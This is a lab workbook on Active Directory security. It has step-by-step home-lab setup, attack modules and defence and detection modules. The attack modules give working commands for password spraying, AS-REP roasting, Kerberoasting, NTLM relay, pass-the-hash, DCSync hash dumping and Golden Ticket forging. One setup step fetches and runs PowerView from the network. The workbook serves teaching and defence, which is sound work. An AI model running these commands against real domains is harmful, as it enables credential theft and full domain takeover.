Active Directory & Identity Security Workbook

🏗️

Module 0

Building Your AD Home Lab

Set up a fully functional Active Directory environment using free tools and evaluation software

● Pre-requisite — ~3 hours

ℹ️

What you'll build A minimal but realistic AD environment with: 1× Windows Server 2022 Domain Controller, 1× Windows 10/11 workstation joined to the domain, and optionally a Kali Linux attacker VM. Total RAM needed: ~8GB minimum, 16GB recommended.

🖥️ Software Downloads (All Free)

Software	Purpose	Download	Cost
VMware Workstation Player	Virtualisation platform (or use VirtualBox)	vmware.com	Free
Windows Server 2022 Eval	Domain Controller OS — 180-day free eval	microsoft.com	180-day eval
Windows 10/11 Enterprise Eval	Domain-joined workstation — 90-day free eval	microsoft.com	90-day eval
Kali Linux	Attacker VM for offensive labs	kali.org	Free

0.1

Install & Configure the Domain Controller

⏱ 60 min▼

🎯

Objective: Create a new VM with Windows Server 2022, install AD Domain Services, and promote it to a Domain Controller.

1

Create a new VM in VMware/VirtualBox with these minimum specs:

RAM: 4GB | CPU: 2 cores | Disk: 60GB
Network: Set to NAT or create a Host-Only network (recommended so VMs can talk to each other but not expose to real internet)

2

Install Windows Server 2022 — Boot from the ISO, choose "Windows Server 2022 Standard (Desktop Experience)", set a strong Administrator password. Skip product key when asked (eval mode).

3

Set a static IP — In Server Manager → Network settings, set:

IP Address: 192.168.1.10 Subnet Mask: 255.255.255.0 Default Gateway: 192.168.1.1 DNS: 127.0.0.1 # Points to itself after AD install

4

Install AD Domain Services — Open Server Manager → Add Roles → Active Directory Domain Services → Install.

5

Promote to Domain Controller — Click the notification flag → "Promote this server to a domain controller" → Add a new forest → Domain name: lab.local → Set DSRM password → Install → Server will reboot automatically.

6

Rename the server — After reboot, open PowerShell as Administrator:

Rename-Computer -NewName "DC01" -Restart

📝 Your DC Configuration Notes

VM created with correct specs
Windows Server 2022 installed
Static IP configured
AD DS role installed and server promoted to DC
Server renamed to DC01 and rebooted

0.2

Join a Windows Workstation to the Domain

⏱ 30 min▼

1

Create a second VM with Windows 10/11 Enterprise (2GB RAM minimum). Name it WS01.

2

Set DNS to point at your DC — Control Panel → Network → IPv4 → DNS Server: 192.168.1.10

3

Join the domain — Right-click Computer → Properties → Change settings → Domain: lab.local → Enter DC Administrator credentials → Reboot.

4

Or use PowerShell:

Add-Computer -DomainName "lab.local" -Credential (Get-Credential) -Restart

5

Verify on the DC — Open Active Directory Users and Computers (ADUC) → Computers container → WS01 should appear.

WS01 VM created with Windows 10/11
DNS configured to point at DC01
WS01 successfully joined to lab.local
WS01 visible in ADUC on DC01

0.3

Populate the Lab with Users, Groups & Vulnerabilities

⏱ 45 min▼

⚠️

Intentional misconfigurations: We deliberately introduce common AD vulnerabilities so you can practice finding and exploiting them in a safe environment. Never replicate these in a real environment.

1

Create sample users via PowerShell on DC01:

# Create an OU structure first New-ADOrganizationalUnit -Name "LabUsers" -Path "DC=lab,DC=local" New-ADOrganizationalUnit -Name "LabServers" -Path "DC=lab,DC=local" # Create users with weak/common passwords $users = @( @{Name="Alice Smith"; Sam="asmith"; Pass="Password123!"}, @{Name="Bob Jones"; Sam="bjones"; Pass="Welcome1!"}, @{Name="Carol Lee"; Sam="clee"; Pass="Summer2024!"}, @{Name="Dave Admin"; Sam="dadmin"; Pass="Admin2024!"} ) foreach ($u in $users) { New-ADUser -Name $u.Name -SamAccountName $u.Sam ` -AccountPassword (ConvertTo-SecureString $u.Pass -AsPlainText -Force) ` -Enabled $true -Path "OU=LabUsers,DC=lab,DC=local" }

2

Create groups and add members:

New-ADGroup -Name "IT-Admins" -GroupScope Global -Path "OU=LabUsers,DC=lab,DC=local" New-ADGroup -Name "HR-Users" -GroupScope Global -Path "OU=LabUsers,DC=lab,DC=local" Add-ADGroupMember -Identity "IT-Admins" -Members "dadmin","asmith" Add-ADGroupMember -Identity "HR-Users" -Members "bjones","clee"

3

Add intentional misconfigurations for lab practice:

# Set weak Kerberos pre-auth setting (enables AS-REP Roasting) Set-ADAccountControl -Identity "bjones" -DoesNotRequirePreAuth $true # Set a SPN on a user account (enables Kerberoasting) Set-ADUser -Identity "asmith" -ServicePrincipalNames @{Add="HTTP/webserver.lab.local"} # Make dadmin a local admin on WS01 (lateral movement target) # Run this on WS01, not DC01: Add-LocalGroupMember -Group "Administrators" -Member "LAB\dadmin"

4

(Optional) Use BadBlood to auto-populate a realistic AD: BadBlood is a free PowerShell script that creates hundreds of realistic users, groups, and ACL misconfigurations automatically. Great for a richer target environment.

git clone https://github.com/davidprowe/BadBlood cd BadBlood .\Invoke-BadBlood.ps1

📝 Lab Users Created

✅

Lab Setup Complete! Take a VMware snapshot now labelled lab-baseline-clean before starting the modules. Revert to this snapshot between labs.

🏰

Module 1

Active Directory Fundamentals

Understand the core components, terminology, and protocols that make AD work

● Beginner — ~3 hours

📌

Why AD matters for security: Over 90% of Fortune 500 companies use Active Directory. Compromising AD = compromising the entire organisation. Understanding how it works is the foundation of both attacking and defending it.

🧠 Core Concepts

Domain & Forest

A Domain is a logical grouping of AD objects (users, computers, groups). A Forest is a collection of one or more domains sharing a schema and configuration. Think: Domain = country, Forest = continent. Your lab uses one domain (lab.local) in one forest.

Domain Controller (DC)

The server that runs AD. It handles authentication (who are you?), authorisation (what can you access?), and stores the NTDS.dit database — the crown jewels of any AD environment.

Key AD Objects

Users — people and service accounts. Computers — domain-joined machines. Groups — collections of objects (Security vs Distribution). Organisational Units (OUs) — folders that organise objects and apply Group Policy. Group Policy Objects (GPOs) — settings pushed to users/computers.

Kerberos Authentication

The default authentication protocol in AD. Three parties: Client, KDC (DC), and Service. Key tickets: TGT (Ticket Granting Ticket — your "master pass") and TGS (Service Ticket — access to a specific service). Understanding this is essential for attacks like Kerberoasting and Pass-the-Ticket.

NTLM Authentication

The older, weaker fallback authentication protocol. Uses challenge-response with NTLM hashes. Still widely used (SMB shares, older apps). Vulnerable to Pass-the-Hash, NTLM relay, and offline cracking.

1.1

Exploring AD with Built-in Windows Tools

⏱ 40 min▼

🎯

Objective: Navigate the AD environment using both GUI and PowerShell tools to understand the object structure.

1

Open ADUC (AD Users and Computers) on DC01 — Server Manager → Tools → Active Directory Users and Computers. Explore: Built-in container, Computers container, Users container, and your custom LabUsers OU.

2

Explore the domain via PowerShell (on DC01):

# Get basic domain info Get-ADDomain # List all users Get-ADUser -Filter * | Select-Object Name, SamAccountName, Enabled # List all groups Get-ADGroup -Filter * | Select-Object Name, GroupScope, GroupCategory # List all computers Get-ADComputer -Filter * | Select-Object Name, OperatingSystem # Get members of Domain Admins Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, ObjectClass

3

Understand key built-in groups:

# Check these critical groups — note who's in them Get-ADGroupMember "Domain Admins" Get-ADGroupMember "Enterprise Admins" Get-ADGroupMember "Schema Admins" Get-ADGroupMember "Administrators"

4

Explore Group Policy: Server Manager → Tools → Group Policy Management. Look at the "Default Domain Policy" — what settings does it define? (Password policy, account lockout, Kerberos ticket lifetime)

5

Check the password policy:

Get-ADDefaultDomainPasswordPolicy

Note the minimum length, complexity requirement, and lockout threshold.

📝 Observations

Explored ADUC and identified all OUs
Used Get-ADUser, Get-ADGroup, Get-ADComputer
Identified members of Domain Admins group
Reviewed default domain password policy

1.2

Knowledge Check — AD Fundamentals

⏱ 15 min▼

1. What file on the Domain Controller contains all AD user credential hashes?

SAM database

NTDS.dit

LSASS memory only

krbtgt.db

2. What is the difference between a TGT and a TGS in Kerberos?

TGT is for servers, TGS is for users

TGT proves identity to the KDC; TGS grants access to a specific service

They are the same thing with different names

TGT is used for NTLM, TGS is used for Kerberos

3. Which group membership gives an attacker the highest level of control over an entire AD forest?

Domain Admins

Administrators

Enterprise Admins

Schema Admins

🔍

Module 2

Active Directory Enumeration

Map the AD environment from an attacker's perspective — identify users, groups, ACLs, and attack paths

● Beginner to Intermediate — ~4 hours

⚠️

Lab safety: Run all attacks from your Kali VM or from WS01 logged in as a regular domain user (not admin). This simulates a realistic attacker who has compromised one low-privilege account.

🛠 Tools for Enumeration

Tool	Purpose	Platform	Cost
BloodHound + SharpHound	Visual AD attack path mapping — the most powerful AD recon tool	Any (Docker/Linux/Win)	Free
PowerView	PowerShell AD enumeration — situational awareness	Windows	Free
ADRecon	Comprehensive AD reconnaissance report generator	Windows	Free
ldapdomaindump	Dumps AD info via LDAP — HTML/JSON/CSV output	Kali Linux	Free
enum4linux-ng	Enumerate Windows/Samba shares, users, groups over SMB	Kali Linux	Free
rpcclient	Manual RPC enumeration — great for stealth	Kali Linux	Free

2.1

PowerView — Manual AD Enumeration

⏱ 45 min▼

🎯

Scenario: You've compromised a low-privilege domain user account (bjones / Welcome1!). Use PowerView to map the domain without triggering obvious alerts.

1

Download PowerView on WS01 — Open PowerShell as bjones:

# Download PowerView (from PowerSploit) IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') # Or transfer it manually from Kali via SMB

2

Enumerate the domain:

# Get domain info Get-NetDomain Get-NetDomainController # List all users with details Get-NetUser | Select-Object samaccountname, description, memberof, pwdlastset # Find accounts with no pre-auth (AS-REP Roastable) Get-NetUser -UACFilter DONT_REQ_PREAUTH # Find accounts with SPNs (Kerberoastable) Get-NetUser -SPN

3

Find local admins across computers:

# Find where domain users have local admin rights Find-LocalAdminAccess # Who is logged in on each computer? Get-NetLoggedon -ComputerName WS01 # Find active sessions Get-NetSession -ComputerName DC01

4

Enumerate shares:

# Find accessible shares across the domain Find-DomainShare -CheckShareAccess

📝 Enumeration Findings

2.2

BloodHound — Visual Attack Path Mapping

⏱ 60 min▼

ℹ️

BloodHound is the most important AD security tool — both for attackers mapping paths to Domain Admin, and defenders finding and closing those paths. It uses graph theory to reveal hidden privilege escalation routes invisible to traditional tools.

1

Install BloodHound CE on Kali using Docker:

# Install Docker if not present sudo apt install docker.io docker-compose -y sudo systemctl start docker # Run BloodHound Community Edition curl -L https://ghst.ly/getbhce | sudo docker compose -f - up

Then open http://localhost:8080 in your browser. Default creds: admin / bloodhound

2

Run SharpHound collector on WS01 to gather AD data:

# Download SharpHound.exe (on WS01) # Get from: https://github.com/BloodHoundAD/SharpHound/releases # Run the collector (as domain user) .\SharpHound.exe -c All --outputdirectory C:\Temp\ # This creates a zip file — transfer it to Kali

3

Upload the zip to BloodHound — in the web UI, go to "File Ingest" → upload the SharpHound zip. Wait for it to process.

4

Run key pre-built queries:

"Find all Domain Admin paths from here"
"Find Shortest Paths to Domain Admins"
"Principals with DCSync Rights"
"Find AS-REP Roastable Users"
"Find Kerberoastable Users with most privileges"

5

Visualise the path from bjones → Domain Admin — right-click bjones in BloodHound → "Shortest Path from Here" → "to Domain Admins". What's the path?

📝 BloodHound Findings

BloodHound CE running via Docker
SharpHound ran and zip uploaded
Explored pre-built attack path queries
Found and mapped a path to Domain Admin

2.3

LDAP Enumeration from Kali

⏱ 30 min▼

1

Install tools on Kali:

sudo apt install ldap-utils enum4linux-ng -y pip3 install ldapdomaindump --break-system-packages

2

Run ldapdomaindump:

ldapdomaindump -u 'lab.local\bjones' -p 'Welcome1!' 192.168.1.10 -o /tmp/lddump/

This creates HTML reports for users, groups, computers, GPOs, and trusts.

3

Run enum4linux-ng:

enum4linux-ng -A -u bjones -p 'Welcome1!' 192.168.1.10

Note what's returned: shares, users, groups, OS version, domain info.

4

Manual LDAP queries:

# Search for all users ldapsearch -x -H ldap://192.168.1.10 -D "bjones@lab.local" -w 'Welcome1!' \ -b "DC=lab,DC=local" "(objectClass=user)" cn sAMAccountName # Find accounts with no pre-auth set ldapsearch -x -H ldap://192.168.1.10 -D "bjones@lab.local" -w 'Welcome1!' \ -b "DC=lab,DC=local" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"

📝 LDAP Enumeration Output Summary

⚔️

Module 3

Initial Access & Authentication Attacks

Password spraying, AS-REP Roasting, Kerberoasting, and NTLM relay attacks

● Intermediate — ~4 hours

🚫

Lab only: These attacks are illegal against systems you don't own. Only perform these against your isolated home lab. All techniques shown are for educational and defensive awareness purposes.

Attack Flow Overview

No access
External

→

Password spray
Get creds

→

AS-REP / Kerberoast
Crack hash

→

NTLM Relay
Steal creds

→

DA / Admin
Owned

3.1

Password Spraying

⏱ 30 min▼

ℹ️

Password Spraying tries one common password against many accounts — unlike brute force which tries many passwords against one account. This avoids account lockouts while targeting weak passwords across the domain.

1

Get the domain's lockout threshold first! (Critical — don't lock accounts)

# On Kali, check lockout policy before spraying crackmapexec smb 192.168.1.10 -u bjones -p 'Welcome1!' --pass-pol

Note the lockout threshold and observation window before proceeding.

2

Build a user list:

crackmapexec smb 192.168.1.10 -u bjones -p 'Welcome1!' --users | \ awk '{print $5}' | grep -v 'SMB' > /tmp/users.txt cat /tmp/users.txt

3

Spray one common password:

# Try one password only — stay well below lockout threshold crackmapexec smb 192.168.1.10 -u /tmp/users.txt -p 'Password123!' \ --continue-on-success # Look for [+] = valid credentials found

4

Try kerbrute for stealthier spraying (Kerberos instead of SMB):

kerbrute passwordspray -d lab.local /tmp/users.txt 'Password123!' \ --dc 192.168.1.10

📝 Spray Results

3.2

AS-REP Roasting

⏱ 35 min▼

ℹ️

AS-REP Roasting targets accounts where Kerberos pre-authentication is disabled. The KDC returns an encrypted AS-REP ticket that can be cracked offline — no valid password needed to request it.

1

Find AS-REP Roastable accounts (we already set bjones as one):

# From Kali — no auth needed impacket-GetNPUsers lab.local/ -dc-ip 192.168.1.10 -no-pass -usersfile /tmp/users.txt # Or with valid creds to enumerate first impacket-GetNPUsers lab.local/bjones:'Welcome1!' -dc-ip 192.168.1.10 -request

2

Save the AS-REP hash to a file:

impacket-GetNPUsers lab.local/ -dc-ip 192.168.1.10 -no-pass \ -usersfile /tmp/users.txt -outputfile /tmp/asrep_hashes.txt cat /tmp/asrep_hashes.txt

The hash starts with $krb5asrep$23$...

3

Crack the hash with Hashcat:

# AS-REP Roast = Hashcat mode 18200 hashcat -m 18200 /tmp/asrep_hashes.txt /usr/share/wordlists/rockyou.txt \ --force

4

Or use John the Ripper:

john /tmp/asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

📝 AS-REP Roasting Results

3.3

Kerberoasting

⏱ 40 min▼

ℹ️

Kerberoasting requests TGS tickets for accounts that have SPNs set. Any authenticated domain user can request these tickets. They're encrypted with the service account's NTLM hash — crack offline to get the password.

1

Request TGS tickets for SPN accounts (asmith has an SPN):

# From Kali using impacket impacket-GetUserSPNs lab.local/bjones:'Welcome1!' -dc-ip 192.168.1.10 -request \ -outputfile /tmp/kerberoast_hashes.txt

2

Or use Rubeus on WS01 (run as domain user):

# Download Rubeus on WS01 .\Rubeus.exe kerberoast /outfile:C:\Temp\kerb_hashes.txt

3

Crack TGS hashes with Hashcat (mode 13100):

# TGS-REP Etype 23 = mode 13100 hashcat -m 13100 /tmp/kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \ --force

4

Reflection: Why are service accounts particularly dangerous targets? Document what privileges asmith has in your notes below, and what an attacker could do after cracking this password.

📝 Kerberoasting Notes

3.4

NTLM Relay Attack

⏱ 45 min▼

ℹ️

NTLM Relay intercepts NTLM authentication attempts and relays them to another target — if SMB signing is disabled, you can authenticate as the victim and execute commands without ever cracking their password.

1

Check if SMB signing is disabled on targets:

crackmapexec smb 192.168.1.0/24 --gen-relay-list /tmp/targets.txt

Hosts listed have SMB signing disabled — these are relay targets.

2

Start Responder to capture authentication (Kali):

# Disable SMB and HTTP in Responder (let ntlmrelayx handle those) sudo nano /etc/responder/Responder.conf # Set SMB = Off, HTTP = Off sudo responder -I eth0 -rdwv

3

Start ntlmrelayx targeting WS01:

# Relay to WS01 and dump SAM database sudo impacket-ntlmrelayx -tf /tmp/targets.txt -smb2support -socks

4

Trigger authentication — from WS01, trigger an SMB authentication to Kali's IP (simulating a user clicking a malicious link):

# From WS01 PowerShell: dir \\KALI-IP\share

Watch ntlmrelayx relay the auth to the target.

📝 NTLM Relay Notes

👑

Module 4

Privilege Escalation & Lateral Movement

Pass-the-Hash, Pass-the-Ticket, DCSync, Golden Ticket, and ACL abuse

● Intermediate to Advanced — ~5 hours

4.1

Pass-the-Hash (PtH)

⏱ 30 min▼

ℹ️

Pass-the-Hash uses a captured NTLM hash to authenticate without knowing the plaintext password. As long as you have the hash, you can authenticate to any service that accepts NTLM.

1

Extract hashes from WS01 local SAM (requires local admin):

# Using CrackMapExec crackmapexec smb 192.168.1.20 -u Administrator -p 'Password123!' --sam # Or use secretsdump impacket-secretsdump lab.local/Administrator:'Password123!'@192.168.1.20

2

Use the hash directly to authenticate:

# Format: LMhash:NThash # Use 'aad3b435b51404eeaad3b435b51404ee' as empty LM hash crackmapexec smb 192.168.1.10 -u Administrator \ -H 'aad3b435b51404eeaad3b435b51404ee:NTHASHHERE' --shares # Get a shell with PtH impacket-psexec lab.local/Administrator@192.168.1.10 \ -hashes 'aad3b435b51404eeaad3b435b51404ee:NTHASHHERE'

3

Or use evil-winrm for PtH over WinRM:

evil-winrm -i 192.168.1.10 -u Administrator -H 'NTHASHHERE'

📝 PtH Lab Notes

4.2

DCSync Attack — Dumping All Domain Hashes

⏱ 30 min▼

🔴

High Impact: DCSync simulates a Domain Controller replication request — allowing any account with replication rights to pull ALL password hashes from AD without touching the DC directly. This is game over for most environments.

1

DCSync requires replication rights (normally only DCs have these). Domain Admins have them. Let's assume we've escalated to DA via a previous step.

# Dump all hashes using impacket (from Kali) impacket-secretsdump lab.local/Administrator:'Admin2024!'@192.168.1.10 -just-dc # Dump a specific user (e.g. krbtgt — needed for Golden Ticket) impacket-secretsdump lab.local/Administrator:'Admin2024!'@192.168.1.10 \ -just-dc-user krbtgt

2

Or use Mimikatz on the DC:

# Run Mimikatz on DC01 as Administrator .\mimikatz.exe lsadump::dcsync /domain:lab.local /user:krbtgt lsadump::dcsync /domain:lab.local /all /csv

3

Record the krbtgt hash — you'll need it for the Golden Ticket attack in the next lab. The krbtgt account hash allows forging any Kerberos ticket in the domain.

📝 DCSync Notes

4.3

Golden Ticket Attack

⏱ 40 min▼

👑

Golden Ticket is the ultimate persistence technique. Using the krbtgt hash, you forge a TGT that impersonates ANY user (including Domain Admin) with ANY group membership, with any expiry time. The only fix is resetting krbtgt twice.

1

Gather required info:

# You need these 4 values: # 1. krbtgt NT hash (from DCSync) # 2. Domain SID impacket-getPac lab.local/bjones:'Welcome1!' -targetUser bjones # Or: Get-ADDomain | select DomainSID on DC # 3. Domain name: lab.local # 4. Username to impersonate: Administrator

2

Forge the Golden Ticket with impacket:

impacket-ticketer -nthash KRBTGT_HASH \ -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \ -domain lab.local Administrator # Export ticket export KRB5CCNAME=Administrator.ccache # Use the ticket impacket-psexec -k -no-pass lab.local/Administrator@DC01.lab.local

3

Or use Mimikatz on WS01:

kerberos::golden /domain:lab.local /sid:DOMAIN-SID \ /rc4:KRBTGT_HASH /user:Administrator /ticket:golden.kirbi kerberos::ptt golden.kirbi # Now use klist to verify the ticket is injected shell klist

4

Reflection: You now have permanent domain access even if all passwords are reset. What's the only way to remediate a Golden Ticket?

📝 Golden Ticket Notes

🛡️

Module 5

AD Defence & Hardening

Implement controls that prevent or mitigate every attack covered in previous modules

● Advanced — ~5 hours

🛡️

Blue team mode: For each attack in Modules 3–4, this module covers the specific control that prevents or detects it. Revert to your clean snapshot and implement these defences, then retry the attacks and observe what changes.

5.1

Password Policy & Fine-Grained Policies

⏱ 30 min▼

1

Set a strong domain password policy:

# Set domain-wide policy Set-ADDefaultDomainPasswordPolicy -MinPasswordLength 14 ` -ComplexityEnabled $true ` -MaxPasswordAge (New-TimeSpan -Days 90) ` -LockoutThreshold 5 ` -LockoutDuration (New-TimeSpan -Minutes 30) ` -LockoutObservationWindow (New-TimeSpan -Minutes 30)

2

Create a Fine-Grained Password Policy (FGPP) for admin accounts:

New-ADFineGrainedPasswordPolicy -Name "AdminPolicy" ` -Precedence 10 -MinPasswordLength 20 ` -LockoutThreshold 3 -ComplexityEnabled $true ` -MaxPasswordAge (New-TimeSpan -Days 30) Add-ADFineGrainedPasswordPolicySubject -Identity "AdminPolicy" -Subjects "IT-Admins"

3

Enable the Protected Users security group — add all admin accounts to this group. It disables NTLM auth, DES/RC4 Kerberos, credential caching, and limits TGT lifetime to 4 hours.

Add-ADGroupMember -Identity "Protected Users" -Members "dadmin","Administrator"

⚠️ Test carefully — service accounts using NTLM will break.

📝 Policy Implementation Notes

5.2

Fixing Kerberoasting & AS-REP Roasting Vulnerabilities

⏱ 25 min▼

1

Fix AS-REP Roasting — re-enable pre-auth on vulnerable accounts:

# Re-enable pre-auth for bjones Set-ADAccountControl -Identity "bjones" -DoesNotRequirePreAuth $false # Audit all accounts with no pre-auth Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Select-Object Name

2

Fix Kerberoasting — use Managed Service Accounts (MSAs) or Group Managed Service Accounts (gMSAs) instead of regular user accounts with SPNs:

# Create a gMSA — passwords auto-rotate every 30 days (128-char random) New-ADServiceAccount -Name "WebSvc" -DNSHostName "webserver.lab.local" ` -PrincipalsAllowedToRetrieveManagedPassword "DC01$" # Remove SPNs from regular user accounts Set-ADUser -Identity "asmith" -ServicePrincipalNames @{Remove="HTTP/webserver.lab.local"}

3

Enable SMB signing (prevents NTLM relay) via GPO:

Group Policy Management → Default Domain Policy → Computer Config → Windows Settings → Security Settings → Local Policies → Security Options
Set: "Microsoft network server: Digitally sign communications (always)" = Enabled
Set: "Microsoft network client: Digitally sign communications (always)" = Enabled

# Or via PowerShell Set-SmbServerConfiguration -RequireSecuritySignature $true -Force Set-SmbClientConfiguration -RequireSecuritySignature $true -Force

Pre-auth re-enabled on all accounts
gMSA created to replace SPN user account
SMB signing enforced via GPO
Retried attacks from Module 3 — confirmed they now fail

5.3

Tiered Administration Model & Credential Hygiene

⏱ 45 min▼

ℹ️

Microsoft Tier Model separates administrative access into 3 tiers — Tier 0 (DC/AD), Tier 1 (servers), Tier 2 (workstations). Admins have separate accounts for each tier. Compromise of a Tier 2 account never reaches Tier 0.

1

Implement tier separation:

# Create separate admin accounts per tier New-ADUser -Name "dadmin-T0" -SamAccountName "dadmin-t0" ` -Description "Tier 0 Admin - DC/AD only" ` -AccountPassword (ConvertTo-SecureString "T0Admin2024!!" -AsPlainText -Force) ` -Enabled $true -Path "OU=LabUsers,DC=lab,DC=local" New-ADUser -Name "dadmin-T2" -SamAccountName "dadmin-t2" ` -Description "Tier 2 Admin - Workstations only" ` -AccountPassword (ConvertTo-SecureString "T2Admin2024!!" -AsPlainText -Force) ` -Enabled $true -Path "OU=LabUsers,DC=lab,DC=local"

2

Prevent Tier 0 admins from logging into workstations via GPO Deny logon settings:

Computer Config → Windows Settings → Security Settings → Local Policies → User Rights Assignment
"Deny log on locally" → add Domain Admins, Enterprise Admins
"Deny log on through Remote Desktop Services" → add same groups
Apply this GPO to workstations OU only

3

Enable Credential Guard (Windows 10/11, Server 2016+) — protects LSASS memory from credential dumping:

# Via GPO: Computer Config → Administrative Templates # → System → Device Guard → Turn on Virtualization Based Security # Set Credential Guard Config = Enabled with UEFI lock # Or via registry (requires reboot) reg add "HKLM\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags /t REG_DWORD /d 1 /f

📝 Tier Model Implementation

🔎

Module 6

Detection & Incident Response

Enable audit logging, hunt for attack indicators, and build detection rules

● Advanced — ~4 hours

6.1

Enable Advanced Audit Logging

⏱ 30 min▼

1

Enable Advanced Audit Policy via Group Policy:

# Enable via PowerShell on DC01 auditpol /set /category:"Account Logon" /success:enable /failure:enable auditpol /set /category:"Account Management" /success:enable /failure:enable auditpol /set /category:"DS Access" /success:enable /failure:enable auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable auditpol /set /category:"Object Access" /success:enable /failure:enable auditpol /set /category:"Policy Change" /success:enable /failure:enable auditpol /set /category:"Privilege Use" /success:enable /failure:enable # Verify settings auditpol /get /category:*

2

Key Windows Event IDs to know:

Event ID	Meaning	Attack Indicator
`4624`	Successful logon	Unexpected logon times/locations
`4625`	Failed logon	Multiple failures = spray/brute force
`4768`	Kerberos TGT requested	AS-REP Roasting
`4769`	Kerberos TGS requested	Kerberoasting (RC4 encryption type)
`4771`	Kerberos pre-auth failed	Password spray against Kerberos
`4776`	NTLM auth attempt	Pass-the-Hash, NTLM relay
`4662`	Operation on AD object	DCSync (replication rights used)
`4720`	User account created	Backdoor account creation
`4728`	Member added to security group	Privilege escalation

3

Search for Kerberoasting in Event Viewer:

# PowerShell: Find Event 4769 with RC4 encryption (sign of Kerberoasting) Get-WinEvent -FilterHashtable @{ LogName = 'Security' Id = 4769 } | Where-Object {$_.Message -like '*0x17*'} | Select-Object TimeCreated, Message

Encryption type 0x17 = RC4 — normal Kerberos uses AES (0x12 or 0x11). RC4 Kerberoast = suspicious.

📝 Audit Log Findings

6.2

TryHackMe — AD Attack & Defence CTF Rooms

⏱ 3+ hours▼

🏆

Supplement your home lab with these guided, browser-based TryHackMe rooms that cover the same techniques in pre-configured environments.

Room	Focus	Difficulty	Link
Active Directory Basics	AD fundamentals and structure	🟢 Easy	Link →
Attacktive Directory	Full AD attack chain on a real DC	🟡 Medium	Link →
Post-Exploitation Basics	Mimikatz, BloodHound, PtH, Golden Ticket	🟡 Medium	Link →
Kerberos 101	Kerberoasting, AS-REP Roasting deep dive	🟡 Medium	Link →
BloodHound	BloodHound CE setup and attack path analysis	🟡 Medium	Link →
AD Hardening	Defence, GPO hardening, tiered admin	🟡 Medium	Link →
Compromising Active Directory	Full attack chain: enumeration → DA	🔴 Hard	Link →

📝 TryHackMe Progress

6.3

Capstone — Full AD Attack & Defence Report

⏱ 90 min▼

🏁

Final Challenge: Revert to your clean baseline snapshot and perform a complete attack chain from zero credentials to Domain Admin. Document every step. Then implement defences and show the attacks now fail. This is the format of a real red team / purple team report.

# ATTACK & DEFENCE REPORT TEMPLATE # =================================== TARGET ENVIRONMENT: Domain: lab.local DC: DC01 (192.168.1.10) WS: WS01 (192.168.1.20) ATTACK CHAIN: Step 1: Enumeration - Tool used: - Users/SPNs found: - Attack surface identified: Step 2: Initial Access - Attack type (spray/AS-REP/Kerberoast): - Account compromised: - Method: Step 3: Privilege Escalation - Starting privileges: - Escalation technique: - Final privileges: Step 4: Persistence - Technique used (Golden Ticket / backdoor account): - Persistence mechanism: FINDINGS SUMMARY: CRITICAL: (list critical issues) HIGH: (list high issues) MEDIUM: (list medium issues) DEFENCES IMPLEMENTED: 1. [Control] → [Attack it prevents] → [Tested: Y/N] 2. 3. DETECTION COVERAGE: Event ID | Attack Covered | Alert Created Y/N ---------|----------------|------------------ 4769 | Kerberoasting | 4625 | Spray | 4662 | DCSync |

📝 Your Capstone Report

6.4

Full SIEM Integration & Correlation Rules

⏱ 2.5 hours▼

ℹ️

Goal Ship DC01 security logs into a centralised SIEM (Splunk or Elastic, both free for lab use), then build correlation rules that turn raw Event IDs into actionable alerts for the attacks practised in Modules 3–4.

1

Choose a SIEM and install a forwarder on DC01:

# Option A: Splunk Free (500MB/day) — install Universal Forwarder on DC01 # Option B: Elastic Stack (free) — install Winlogbeat on DC01 # Winlogbeat example — winlogbeat.yml winlogbeat.event_logs: - name: Security ignore_older: 72h - name: System - name: Microsoft-Windows-PowerShell/Operational output.elasticsearch: hosts: ["192.168.1.30:9200"] index: "winlogbeat-ad-%{+yyyy.MM.dd}"

2

Deploy the SIEM collector VM: add a 4th VM (Ubuntu, 4GB RAM) running Elasticsearch + Kibana, or reuse the Splunk free single-instance install from Module 6.1's Velociraptor/Sysmon stack. Point Sysmon + Security log forwarding at it.

3

Build correlation rule #1 — Kerberoasting:

# Splunk SPL — flag RC4 TGS requests (Event 4769) for non-service accounts index=ad_security EventCode=4769 | search Ticket_Encryption_Type=0x17 | stats count by Account_Name, Service_Name | where count > 3 | eval risk="Kerberoasting suspected"

4

Build correlation rule #2 — Password spray:

# Splunk SPL — many accounts, few failures each, single source IP index=ad_security EventCode=4625 | bin _time span=10m | stats dc(Account_Name) as unique_accounts count by src_ip, _time | where unique_accounts > 10 AND count < 50 | eval risk="Password spray suspected"

5

Build correlation rule #3 — DCSync abuse:

# Flag Event 4662 with replication GUIDs from a non-DC source index=ad_security EventCode=4662 | search Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*" | where NOT match(Account_Name, "(?i)dc01\\$") | eval risk="DCSync replication abuse — non-DC account requesting replication rights"

6

Build correlation rule #4 — Golden Ticket indicators: alert when a TGT's lifetime exceeds the domain's configured Kerberos ticket lifetime (default 10 hours), or when a TGT is used without a matching prior AS-REQ (Event 4768) from that user.

7

Build a correlation dashboard with panels for: failed logon trend, Kerberoast alert count, DCSync alert count, new privileged group memberships (Event 4728/4732/4756), and new account creations (Event 4720) outside business hours.

8

Validate end-to-end: re-run the Kerberoasting, password spray, and DCSync attacks from earlier modules and confirm each correlation rule fires correctly. Tune thresholds to reduce false positives against normal admin activity.

⚠️

Log volume planning A single DC with verbose auditing enabled can generate 1–5GB/day of Security logs in a busy enterprise. Plan retention and indexing tiers accordingly — hot storage for 30 days, cold/archive for 1+ year to satisfy most compliance regimes (see Compliance Mapping appendix).

SIEM collector VM deployed and reachable from DC01

Security + PowerShell logs forwarding successfully

Kerberoasting correlation rule built and validated

Password spray correlation rule built and validated

DCSync correlation rule built and validated

Dashboard built with at least 5 panels

📝 SIEM Build Notes

☁️

Module 7

Entra ID Deep Dive

Cloud and hybrid identity security — aligned to Microsoft AZ-500 and SC-300 exam objectives

● Advanced — ~3 hours

ℹ️

